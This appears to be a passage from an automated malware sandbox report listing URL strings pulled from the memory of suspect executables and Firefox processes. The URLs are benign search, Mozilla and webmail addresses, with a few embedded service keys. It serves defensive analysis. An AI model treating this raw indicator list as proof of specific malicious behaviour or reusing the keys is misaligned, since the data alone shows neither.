Source: file.exe, 00000000.00000003.1681589317.0000000005A57000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 00000009.00000003.2454915918.00000000052B9000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2586097370.000000000589C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1681589317.0000000005A57000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 00000009.00000003.2454915918.00000000052B9000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2586097370.000000000589C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1681589317.0000000005A57000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 00000009.00000003.2454915918.00000000052B9000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2586097370.000000000589C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2762165135.000001C1731A0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.2597108445.000001C17481F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2597604309.000001C17485A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2597314679.000001C17483C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2596897657.000001C174600000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001B.00000002.2778559508.000001C174DA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net
Source: firefox.exe, 0000001B.00000002.2778559508.000001C174DA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: firefox.exe, 0000001B.00000002.2736051759.000001C1703AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723930872.00000154760CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2722359273.000002B7970E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: firefox.exe, 0000001B.00000002.2736051759.000001C1703AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723930872.00000154760CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2722359273.000002B7970E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DAF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000001B.00000002.2733122243.000001C164C11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 0000001B.00000003.2674078299.000001C17CD4F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 0000001B.00000002.2773817495.000001C174760000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabPlease
Source: firefox.exe, 0000001B.00000002.2773817495.000001C174760000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureOffscreenCanvas.toBlob()
Source: firefox.exe, 0000001B.00000002.2773817495.000001C174760000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest
Source: firefox.exe, 0000001B.00000002.2773817495.000001C174760000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureInstallTrigger.install()
Source: firefox.exe, 0000001B.00000002.2773817495.000001C174760000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsUsi
Source: firefox.exe, 0000001B.00000002.2736994657.000001C1704A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingDocumentWriteIgnored
Source: firefox.exe, 0000001B.00000002.2773817495.000001C174760000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying
Source: firefox.exe, 0000001B.00000003.2674078299.000001C17CD4F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: 1171a5b648.exe, 0000000A.00000003.2488093515.0000000004E2B000.00000004.00001000.00020000.00000000.sdmp, 1171a5b648.exe, 0000000A.00000002.2529289944.000000000011C000.00000040.00000001.01000000.0000000F.sdmp, num.exe, 0000001C.00000002.2604375299.0000000000EAC000.00000008.00000001.01000000.00000013.sdmp, 1171a5b648.exe, 0000001F.00000003.2632031246.0000000004EFB000.00000004.00001000.00020000.00000000.sdmp, 1171a5b648.exe, 0000001F.00000002.2685024844.000000000011C000.00000040.00000001.01000000.0000000F.sdmp, num[1].exe.8.dr	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: firefox.exe, 0000001B.00000002.2749174259.000001C171978000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2757990027.000001C172674000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 0000001B.00000003.2598025300.000001C174877000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2762165135.000001C1731A0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.2597108445.000001C17481F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2597604309.000001C17485A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2597314679.000001C17483C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2764741953.000001C1745F5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2596897657.000001C174600000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: file.exe, 00000000.00000003.1681589317.0000000005A57000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 00000009.00000003.2454915918.00000000052B9000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2586097370.000000000589C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1681589317.0000000005A57000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 00000009.00000003.2454915918.00000000052B9000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2586097370.000000000589C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1681589317.0000000005A57000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 00000009.00000003.2454915918.00000000052B9000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2586097370.000000000589C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DEF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2762165135.000001C1731A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 0000001B.00000003.2599955209.000001C172133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2742669039.000001C17097D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2755914976.000001C172139000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2757990027.000001C17268F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sFirst
Source: firefox.exe, 0000001B.00000002.2757990027.000001C1726EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 0000001B.00000002.2757990027.000001C1726EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 0000001B.00000003.2599955209.000001C172133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2755914976.000001C172139000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2757990027.000001C17268F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%shttps://outlook.live.com/default.aspx?rru=compose&
Source: firefox.exe, 0000001B.00000002.2773817495.000001C174760000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/initMouseEvent()
Source: firefox.exe, 0000001B.00000002.2757990027.000001C172674000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2749174259.000001C171903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2722359273.000002B797012000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001B.00000003.2683990291.000001C175A58000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2683314621.000001C175A4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 0000001B.00000002.2773435274.000001C174730000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordsPleas
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1MOZ_GOOGLE_LOCATION_SERVICE_API_KEY
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1MOZ_GOOGLE_LOCATION_SERVICE_API_KEYParent
Source: firefox.exe, 0000001B.00000002.2749174259.000001C171944000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2733122243.000001C164C6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2749174259.000001C171937000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 0000001B.00000002.2757990027.000001C172674000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2749174259.000001C171903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2722359273.000002B797012000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DE6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2722359273.000002B7970C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DE6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2722359273.000002B7970C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 00000020.00000002.2722359273.000002B79702F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000001B.00000002.2757990027.000001C172674000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2749174259.000001C171903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 0000001B.00000002.2757990027.000001C172674000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2749174259.000001C171903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.2757990027.000001C172674000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2749174259.000001C171903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.2757990027.000001C172674000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2749174259.000001C171903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.2757990027.000001C172674000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2749174259.000001C171903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.2757990027.000001C172674000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2749174259.000001C171903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.2757990027.000001C172674000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2749174259.000001C171903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.2757990027.000001C172674000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2749174259.000001C171903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DE6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2722359273.000002B7970C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001B.00000002.2757990027.000001C172674000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2749174259.000001C171903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.2749174259.000001C171903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DE6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2722359273.000002B7970C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 0000001B.00000002.2754695951.000001C171C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/
Source: firefox.exe, 0000001B.00000003.2674078299.000001C17CD4F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 0000001B.00000003.2598025300.000001C174877000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2762165135.000001C1731A0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.2597108445.000001C17481F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2597604309.000001C17485A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2597314679.000001C17483C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2596897657.000001C174600000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotsinternal:svgContextPropertiesAllowed/shims/google-ana
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 0000001B.00000002.2749174259.000001C171978000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2757990027.000001C172674000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 0000001B.00000002.2785119034.000001C1752DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2733122243.000001C164C11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881BaseCont
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 00000020.00000002.2722359273.000002B7970E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001B.00000002.2736994657.000001C1704F9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 0000001B.00000002.2757990027.000001C172674000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2749174259.000001C171903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2722359273.000002B7970E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 0000001B.00000002.2785119034.000001C1752B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema.
Source: firefox.exe, 0000001B.00000002.2785119034.000001C1752B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema./
Source: firefox.exe, 0000001B.00000002.2785119034.000001C1752B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema/
Source: firefox.exe, 0000001B.00000002.2785119034.000001C1752B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema/=
Source: firefox.exe, 0000001B.00000002.2733122243.000001C164C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000001B.00000003.2680870116.000001C1770FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 0000001B.00000002.2754695951.000001C171C21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sbrowser.download.viewableInternally.enabledTypesMu
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2757990027.000001C17268F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sScheme
Source: firefox.exe, 0000001B.00000002.2757990027.000001C1726EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
